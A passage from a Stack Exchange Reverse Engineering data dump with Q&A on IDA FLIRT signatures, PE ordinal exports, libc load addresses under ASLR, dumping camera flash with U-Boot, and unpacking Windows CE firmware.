Exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enrico&lt;/p&gt;&#xA;" OwnerUserId="10028" LastEditorUserId="2147" LastEditDate="2016-09-05T21:19:36.330" LastActivityDate="2016-09-05T21:19:36.330" Title="Determining CRC algorithm (16 bit?) over RS-232" Tags="|obfuscation|serial-communication|binary-diagnosis|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6645" PostTypeId="2" ParentId="6300" CreationDate="2014-11-17T00:27:07.663" Score="6" Body="&lt;p&gt;&#xA;I use &lt;code&gt;sf read&lt;/code&gt; and it works pretty good.  It can be called as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sf read [addr] [offset] [len]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So for your case, reading romfs would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sf probe 0; sf read 0x82000000 0x40000 0x370000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can transfer the file to tftp server:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tftp 0x82000000 romfs.cramfs 0x370000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;code&gt;sf&lt;/code&gt; to write to the SPI flash (more info can be found &lt;a href=&quot;http://felipe.astroza.cl/hacking-hi3518-based-ip-camera/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="10014" LastEditorUserId="53" LastEditDate="2020-02-03T10:14:46.330" LastActivityDate="2020-02-03T10:14:46.330" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="6647" PostTypeId="1" AcceptedAnswerId="9422" CreationDate="2014-11-17T13:21:00.883" Score="1" ViewCount="2456" Body="&lt;p&gt;I am new to reverse engineering. This is my problem:&#xA;I am running a program and I know a value '&lt;strong&gt;X&lt;/strong&gt;' will be calculated during execution.&#xA;Now how do i set the IDA or ollydbg to break when value X appears for the first time in the memory. (I guess it is similar to Memory/Data Breakpoints)&#xA;Please help.&lt;/p&gt;&#xA;" OwnerUserId="10034" LastEditorUserId="10034" LastEditDate="2014-11-17T13:33:49.597" LastActivityDate="2015-07-22T18:41:54.817" Title="How to cause program to stop execution when a particular value is found in memory" Tags="|ida|ollydbg|patch-reversing|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6648" PostTypeId="1" CreationDate="2014-11-17T20:02:09.717" Score="0" ViewCount="491" Body="&lt;p&gt;I disassembled some OS X apps with Hopper and found that all of them contain a lot of zero bytes in a row. What is the use of that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this some OS X ABI specific padding I came across here? What is its use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OUe8W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10036" LastActivityDate="2014-11-24T17:43:23.753" Title="Why are there often many 0-bytes in executables?" Tags="|disassembly|assembly|osx|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6649" PostTypeId="1" CreationDate="2014-11-17T20:54:03.393" Score="3" ViewCount="10790" Body="&lt;p&gt;I'm having some problems performing a standard decompilation of a Windows EXE file using IDA Pro/Hex-Rays and its built-in &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;FLIRT&lt;/a&gt; signatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of standard C++ functions are not being recognized as such, i.e.: rand, memset, etc.. The binary I'm trying to decompile is automatically detected to having being compiled using Visual C++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the following on the output window when trying to open the .EXE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Plan  FLIRT signature: Microsoft VisualC 2-11/net runtime&#xA;autoload.cfg: vc32rtf.sig autoloads mssdk.til&#xA;&#xA;Type library 'mssdk' loaded. Applying types...&#xA;Types applied to 302 names.&#xA;&#xA;Type library 'vc6win' loaded. Applying types...&#xA;Types applied to 1 names.&#xA;&#xA;Using FLIRT signature: Microsoft VisualC 2-11/net runtime&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then when I go to the &lt;strong&gt;List of applied library modules&lt;/strong&gt; (View &gt; Open subviews &gt; Signatures) I see that the vc32rtf signature had 1061 functions matched, but my it looks like either these were not mapped/renamed appropriately on the disassembled or something else is affecting its ability to identify the functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried to change signatures and add Type libraries as described &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2288/ida-pro-and-default-windows-lib-functions&quot;&gt;here&lt;/a&gt; but nothing seems to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's any useful, the binary I'm looking at is for &lt;a href=&quot;http://download.airsquirrels.com/Reflector/Windows/Reflector32.msi&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reflector 1.5.0 for Windows&lt;/a&gt; and a few of the functions I can see unidentified are: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;rand&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int sub_64B6F3()&#xA;{&#xA;  int v0; // eax@1&#xA;  unsigned int v1; // ecx@1&#xA;&#xA;  v0 = _getptd();&#xA;  v1 = 214013 * *(_DWORD *)(v0 + 20) + 2531011;&#xA;  *(_DWORD *)(v0 + 20) = v1;&#xA;  return (v1 &amp;gt;&amp;gt; 16) &amp;amp; 0x7FFF;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;memset&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char *__cdecl sub_5AD770(unsigned __int64 a1, int a2, int a3)&#xA;{&#xA;  unsigned int v3; // ecx@1&#xA;  int v4; // esi@1&#xA;  __int64 v5; // rax@2&#xA;&#xA;  v4 = HIDWORD(a1);&#xA;  v3 = a1;&#xA;  if ( a1 &amp;gt;= 0x311000 )&#xA;  {&#xA;    *(_BYTE *)a3 = 30;&#xA;    if ( v4 || v3 &amp;gt;= 0xCC000000 )&#xA;    {&#xA;      if ( v4 )&#xA;      {&#xA;LABEL_10:&#xA;        if ( !v4 &amp;amp;&amp;amp; v3 &amp;lt; dword_821FBC - 805306368 )&#xA;        {&#xA;          v5 = (__int64)(__int64 *)((char *)&amp;amp;qword_93C180 + v3 - 3489660928i64);&#xA;          return (char *)v5;&#xA;        }&#xA;LABEL_13:&#xA;        sub_64B413(&quot;ERROR - address was outside of heap/stack space! (%08lx))\n&quot;, v3);&#xA;        _mm_storel_pd((double *)&amp;amp;a1, 0i64);&#xA;        LODWORD(v5) = a1;&#xA;        return (char *)v5;&#xA;      }&#xA;      if ( v3 &amp;lt; dword_821FC0 - 872415232 )&#xA;      {&#xA;        v5 = (__int64)(__int128 *)((char *)&amp;amp;xmmword_83C160 + v3 - 3422552064i64);&#xA;        return (char *)v5;&#xA;      }&#xA;    }&#xA;    if ( !v4 &amp;amp;&amp;amp; v3 &amp;lt; 0xD0000000 )&#xA;      goto LABEL_13;&#xA;    goto LABEL_10;&#xA;  }&#xA;  LODWORD(v5) = sub_5ADAA0(a1, HIDWORD(a1));&#xA;  *(_BYTE *)a3 = -77;&#xA;  return (char *)v5;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9894" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-05-06T01:03:24.133" Title="IDA Pro/Hex-Rays FLIRT Signatures and Standard library function detection" Tags="|ida|hexrays|flirt-signatures|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6650" PostTypeId="2" ParentId="6399" CreationDate="2014-11-17T21:18:09.657" Score="3" Body="&lt;p&gt;I've seen 4 naming conventions being used: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;vNNN() when decompiling ARM binaries (i.e.: Android JNI code) - not sure how it numbers them as it doesn't seem it's related to their position or address within the binary.&lt;/li&gt;&#xA;&lt;li&gt;sub_HHHHHH() when decompiling x86/64 binaries (i.e.: for Windows, OSX) with the actual address on the name&lt;/li&gt;&#xA;&lt;li&gt;_name/__name() for functions IDA is able to identify via its FLIRT algorithm&lt;/li&gt;&#xA;&lt;li&gt;finally the clear names for functions it has enough information on the binaries to reverse as they were named originally.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9894" LastActivityDate="2014-11-17T21:18:09.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6651" PostTypeId="1" AcceptedAnswerId="6656" CreationDate="2014-11-18T00:04:16.500" Score="7" ViewCount="2468" Body="&lt;p&gt;Bear with me as I am new to IDA and have not managed to find an answer to my question on google or other related outlets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am reversing a firmware blob from an ARM device of which I have a c header file defining various memory locations as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define IO_LCD_OUT 0x4000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can load this header file into IDA in order to redefine immediate values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Example, instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV     R12, #0x4000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could IDA instead print:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV     R12, IO_LCD_OUT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are there other ways to acheive this outcome aside from how I am trying to approach this? I have the header file with memory locations defined and would like to load that information into ida!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to parse it using File -&gt; Load File -&gt; Parse C Header File and have had no luck! &lt;/p&gt;&#xA;" OwnerUserId="10039" LastEditorUserId="60" LastEditDate="2014-11-18T14:44:56.427" LastActivityDate="2014-11-18T14:44:56.427" Title="Importing C header file with memory location definitions" Tags="|ida|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6652" PostTypeId="1" AcceptedAnswerId="6653" CreationDate="2014-11-18T00:47:34.830" Score="1" ViewCount="2672" Body="&lt;p&gt;I'm trying to explore the functions exported by profapi.dll and I came across a behavior that I can't explain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading about the PE binary format I gather that the export table has 3 tables (arrays): one array containing function pointers of exported functions, another containing names (strings) of exported functions, and a third array containing the integer ordinal numbers of the exported functions. The linker needs the information in the name and/or the ordinal table to patch calls to exported functions in other DLLs. The name table pointer can be NULL if the DLL exports its functions using only ordinal numbers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for profapi.dll, I see that both the name table and the ordinal table pointers are NULL; yet the DLL exports 6 functions (verified using IDAPro). In fact, shell32.dll calls one of the functions in profapi.dll using its ordinal number and the linker somehow resolves the address. I'm not sure how the linker is able to resolve the call in shell32.dll. Moreover, pefile, the Python library I am using to parse the DLL reports that profapi.dll does not export any functions since both the name and ordinal table pointers are NULL. What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using profapi.dll version 6.1.7600.16385 and shell32.dll version 6.1.7601.2278 on Windows 7. I'm using pefile version 1.2.10-139.&lt;/p&gt;&#xA;" OwnerUserId="8168" LastActivityDate="2014-11-18T02:32:22.550" Title="Name and Ordinal table pointers in export directory are NULL although DLL exports functions" Tags="|dll|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6653" PostTypeId="2" ParentId="6652" CreationDate="2014-11-18T02:32:22.550" Score="3" Body="&lt;p&gt;The &quot;ordinal table&quot; (also known as the Export Ordinal Table or &lt;code&gt;AddressOfNameOrdinals&lt;/code&gt;) is used in conjunction with the &quot;name table&quot; (also known as the Export Name Pointer Table or &lt;code&gt;AddressOfNames&lt;/code&gt;) if-and-only-if functions are exported by name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://msdn.microsoft.com/en-us/windows/hardware/gg463119.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;official PE-COFF documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The export name pointer table and the export ordinal table form two&#xA;  parallel arrays that are separated to allow natural field alignment.&#xA;  These two tables, in effect, operate as one table, in which the Export&#xA;  Name Pointer column points to a public (exported) name and the Export&#xA;  Ordinal column gives the corresponding ordinal for that public name. A&#xA;  member of the export name pointer table and a member of the export&#xA;  ordinal table are associated by having the same position (index) in&#xA;  their respective arrays.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But if there are no functions exported by name, then there is no Export Name Pointer Table, and if there's no Export Name Pointer Table then there's on need for the Export Ordinal Table either, which is why both fields are &lt;code&gt;NULL&lt;/code&gt; in the Export Directory Table.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In fact, shell32.dll calls one of the functions in profapi.dll using&#xA;  its ordinal number and the linker somehow resolves the address.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The build-time linker (part of the compiler toolkit) doesn't resolve the address; the run-time loader (part of Windows) resolves the address. The loader see that shell32.dll imports a profapi.dll function by a given ordinal number (let's say &lt;code&gt;105&lt;/code&gt;, for example), so it subtracts profapi.dll's Ordinal Base (let's say &lt;code&gt;101&lt;/code&gt;, for example) from the ordinal number and uses the result (&lt;code&gt;4&lt;/code&gt; in this example) as an index into the Export Address Table to find the RVA of the imported function. Neither the Export Ordinal Table nor the Export Name Pointer Table are needed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Moreover, pefile, the Python library I am using to parse the DLL&#xA;  reports that profapi.dll does not export any functions since both the&#xA;  name and ordinal table pointers are NULL. What am I missing?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/6635/1562&quot;&gt;As discussed here&lt;/a&gt;, the pefile Python library is broken, or at least older versions of it are known to be broken with respect to ordinal handling.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2014-11-18T02:32:22.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6654" PostTypeId="2" ParentId="6589" CreationDate="2014-11-18T05:32:47.977" Score="2" Body="&lt;p&gt;Try taking a look at Bytecode Viewer - &lt;a href=&quot;https://github.com/Konloch/bytecode-viewer&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Konloch/bytecode-viewer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows you to select from 3 different Java decompilers. It can also display the Bytecode and Hexcode of the Class file you select. (And more, check it out)&lt;/p&gt;&#xA;" OwnerUserId="10041" LastActivityDate="2014-11-18T05:32:47.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6655" PostTypeId="2" ParentId="6651" CreationDate="2014-11-18T07:38:20.920" Score="3" Body="&lt;p&gt;Importing header files will not do this work because there is no general way to find out meaning of any defined constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to do some manual work for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I handling this problem as follows (it requires some IDA scripting, but it should be easy):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;For all required memory regions (for example LCD) data segment should be created by using &lt;code&gt;idc.AddSeg&lt;/code&gt; IDAPython api or via IDA UI. Addresses of those regions can be gathered from datasheets or by analysis of header files.&lt;/li&gt;&#xA;&lt;li&gt;All those address-meaning-defines should be extracted from header files and converted to global variable names by &lt;code&gt;idc.MakeName&lt;/code&gt; IDAPython api.&lt;/li&gt;&#xA;&lt;li&gt;Binary should be reanalyzed (Options--&gt;General--&gt;Analisys--&gt;Reanalyze program). If addresses are still not recognized, you will need to write IDAPython script that converts these addresses to offsets by &lt;code&gt;idc.OpOff&lt;/code&gt; IDAPython api. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As far as I know there is no general solution for this problem in IDA for now.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-11-18T07:38:20.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6656" PostTypeId="2" ParentId="6651" CreationDate="2014-11-18T12:23:47.943" Score="5" Body="&lt;p&gt;You can use custom enumerations here.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to Enums list (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F10&lt;/kbd&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Add a new enum for you list of constants (&lt;kbd&gt;Ins&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Add constant(s) to the list (&lt;kbd&gt;N&lt;/kbd&gt;), e.g. name &lt;code&gt;IO_LCD_OUT&lt;/code&gt; and value &lt;code&gt;0x4000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Now you should be able to replace these constants in the disassembly, using &lt;kbd&gt;M&lt;/kbd&gt; or the context menu.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can speed up things by:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Generating an IDC file from the header to build the enum programmatically (use functions &lt;code&gt;AddEnum&lt;/code&gt; and &lt;code&gt;AddConstEx&lt;/code&gt;). The &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download.shtml&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;h2enum.idc&lt;/code&gt; script&lt;/a&gt; might work too.&lt;/li&gt;&#xA;&lt;li&gt;Converting those defines to a C style &lt;code&gt;enum&lt;/code&gt;, parsing the header, then using the imported enum from your disassembly (you will need to first perform &lt;code&gt;Synchronize to idb&lt;/code&gt; step in the Local Types).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-11-18T12:23:47.943" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6657" PostTypeId="1" CreationDate="2014-11-18T22:54:28.057" Score="9" ViewCount="15456" Body="&lt;p&gt;I see three different outputs for where libc should be loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ldd&lt;/code&gt; shows the loading address of libc at &lt;code&gt;0xf7e9e000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ldd ~/my_tool&#xA;    linux-gate.so.1 =&amp;gt;  (0xf7ffe000)&#xA;    libc.so.6 =&amp;gt; /lib/i386-linux-gnu/libc.so.6 (0xf7e9e000)&#xA;    /lib/ld-linux.so.2 (0x56555000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While gdb tells me it's loaded at &lt;code&gt;0xf7e96c60&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info sharedlibrary&#xA;From        To          Syms Read   Shared Object Library&#xA;0xf7fe1820  0xf7ff805f  Yes (*)     /lib/ld-linux.so.2&#xA;0xf7e96c60  0xf7f9643c  Yes (*)     /lib/i386-linux-gnu/libc.so.6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And when I manually calculate the base address based on a symbol:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) print system&#xA;$1 = {&amp;lt;text variable, no debug info&amp;gt;} 0xf7ebb6b0 &amp;lt;system&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/soMyR.png&quot; alt=&quot;system offset&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this address:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0xf7ebb6b0-0x003b6b0 = 0xf7e80000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that so?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;calculated: 0xf7e80000&#xA;gdb:        0xf7e96c60&#xA;ldd:        0xf7e9e000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="145" LastActivityDate="2014-11-20T09:15:17.050" Title="Why does `ldd` and `(gdb) info sharedlibrary` show a different library base address?" Tags="|linux|gdb|symbols|libraries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6658" PostTypeId="2" ParentId="6657" CreationDate="2014-11-19T08:17:06.203" Score="4" Body="&lt;p&gt;First, &lt;a href=&quot;http://en.wikipedia.org/wiki/Address_space_layout_randomization&quot; rel=&quot;nofollow&quot;&gt;ASLR&lt;/a&gt; will load the library at a (slightly) different address with each invocation, to help protect against malware. This is why the addresses between &lt;code&gt;ldd&lt;/code&gt; and &lt;code&gt;gdb&lt;/code&gt; are different, and why they may be even different each time you run &lt;code&gt;gdb&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i just grep for the libc executable segment on my system (64 bit, as i didn't have a 32 bit system handy):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ grep 'r-xp.*libc-2.19' /proc/*/maps|head&#xA;&#xA;/proc/10987/maps:7fe455b72000-7fe455d2d000 r-xp 00000000 08:16 23461990                   /lib/x86_64-linux-gnu/libc-2.19.so&#xA;/proc/11880/maps:7f029dc1f000-7f029ddda000 r-xp 00000000 08:16 23461990                   /lib/x86_64-linux-gnu/libc-2.19.so&#xA;/proc/11884/maps:7f25a9c25000-7f25a9de0000 r-xp 00000000 08:16 23461990                   /lib/x86_64-linux-gnu/libc-2.19.so&#xA;/proc/15715/maps:7ffc713da000-7ffc71595000 r-xp 00000000 08:16 23461990                   /lib/x86_64-linux-gnu/libc-2.19.so&#xA;/proc/17705/maps:7fe9db80c000-7fe9db9c7000 r-xp 00000000 08:16 23461990                   /lib/x86_64-linux-gnu/libc-2.19.so&#xA;/proc/18558/maps:7fc248544000-7fc2486ff000 r-xp 00000000 08:16 23461990                   /lib/x86_64-linux-gnu/libc-2.19.so&#xA;/proc/20156/maps:7f0f8eb13000-7f0f8ecce000 r-xp 00000000 08:16 23461990                   /lib/x86_64-linux-gnu/libc-2.19.so&#xA;/proc/2139/maps:7fba4c097000-7fba4c252000 r-xp 00000000 08:16 23461990                   /lib/x86_64-linux-gnu/libc-2.19.so&#xA;/proc/2215/maps:7f934ed76000-7f934ef31000 r-xp 00000000 08:16 23461990                   /lib/x86_64-linux-gnu/libc-2.19.so&#xA;/proc/2224/maps:7f064d98f000-7f064db4a000 r-xp 00000000 08:16 23461990                   /lib/x86_64-linux-gnu/libc-2.19.so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you see every process maps the same library a bit differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when the loader loads a library, it creates several memory segments for it. The segments from the ELF file get read into these shared memory segments, &lt;em&gt;including some headers&lt;/em&gt;. This is why the code start address isn't identical to the segment start address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, on my system :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info sharedLibrary&#xA;From                To                  Syms Read   Shared Object Library&#xA;0x00007ffff7a334a0  0x00007ffff7b790c3  Yes         /lib/x86_64-linux-gnu/libc.so.6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat /proc/26271/maps &#xA;7ffff7a14000-7ffff7bcf000 r-xp 00000000 08:16 23461990                   /lib/x86_64-linux-gnu/libc-2.19.so&#xA;7ffff7bcf000-7ffff7dcf000 ---p 001bb000 08:16 23461990                   /lib/x86_64-linux-gnu/libc-2.19.so&#xA;7ffff7dcf000-7ffff7dd3000 r--p 001bb000 08:16 23461990                   /lib/x86_64-linux-gnu/libc-2.19.so&#xA;7ffff7dd3000-7ffff7dd5000 rw-p 001bf000 08:16 23461990                   /lib/x86_64-linux-gnu/libc-2.19.so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so you see the memory map for the code segment (the one that is executable, i.e. has the x bit set) ranges from 7ffff7a14000-7ffff7bcf000, but the region the actual code is loaded to is just the subset 7ffff7a334a0-7ffff7b790c3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a more thorough explanation &lt;a href=&quot;http://eli.thegreenplace.net/2011/08/25/load-time-relocation-of-shared-libraries&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-11-19T08:17:06.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6659" PostTypeId="1" CreationDate="2014-11-19T08:26:30.757" Score="0" ViewCount="1868" Body="&lt;p&gt;I'm working on unpacking a firmware image, I managed to uncompress the original image but I'm stuck in the current step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all this is the current uncompressed image: &lt;a href=&quot;https://www.dropbox.com/s/7oq4m2zryid3ugv/FW_ZERO_DES.bin?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/7oq4m2zryid3ugv/FW_ZERO_DES.bin?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Acording with what I have found the image contains an hybrid between Windows CE and Itron RTOS called Windows Aceleration Tool:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ertl.jp/ITRON/DOC/iim99/Elmic.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.ertl.jp/ITRON/DOC/iim99/Elmic.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some references to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000941e0  75 69 74 72 6f 6e 2e 63  79 67 77 69 6e 5f 69 6e  |uitron.cygwin_in|&#xA;00094290  6e 74 39 36 36 35 30 2e  75 69 74 72 6f 6e 2e 63  |nt96650.uitron.c|&#xA;000a0be0  36 35 30 2e 75 69 74 72  6f 6e 2e 63 79 67 77 69  |650.uitron.cygwi|&#xA;000a2b50  75 69 74 72 6f 6e 2e 63  79 67 77 69 6e 5f 69 6e  |uitron.cygwin_in|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here you can see Itron references with cygwin and below the Windows CE references:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL         HEX             DESCRIPTION&#xA;    -------------------------------------------------------------------------------------------------------------------&#xA;[...]&#xA;4592396         0x46130C        Windows CE RTOS&#xA;4592400         0x461310        Windows CE RTOS&#xA;4592404         0x461314        Windows CE RTOS&#xA;4592408         0x461318        Windows CE RTOS&#xA;4592412         0x46131C        Windows CE RTOS&#xA;4592416         0x461320        Windows CE RTOS&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also I found some syscalls related ti Windows Aceleration Tool like cre_tsk().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking the hexdump I found some Windows CE magic number references ( B0 00 FF ) accordin to this documentation &lt;a href=&quot;http://forum.xda-developers.com/showthread.php?t=801167&quot; rel=&quot;nofollow&quot;&gt;http://forum.xda-developers.com/showthread.php?t=801167&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct BIN_HEADER {&#xA;char[7] Signature;      // B000FF\n signature   &#xA;DWORD ImageStart;    // Image Start&#xA;DWORD ImageLength; // Image Length&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem now is that I don't see the correct byte structure for &lt;em&gt;Image Start&lt;/em&gt; and &lt;em&gt;Image Length&lt;/em&gt;. I want to separate all the pieces on this image but I'm stuck here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I in the good way or Am I completely out of focus? How can I continue?&lt;/p&gt;&#xA;" OwnerUserId="2197" LastEditorUserId="2197" LastEditDate="2014-11-19T08:48:00.913" LastActivityDate="2014-11-19T14:27:48.507" Title="Windows CE + Itron RTOS image" Tags="|firmware|unpacking|hexadecimal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
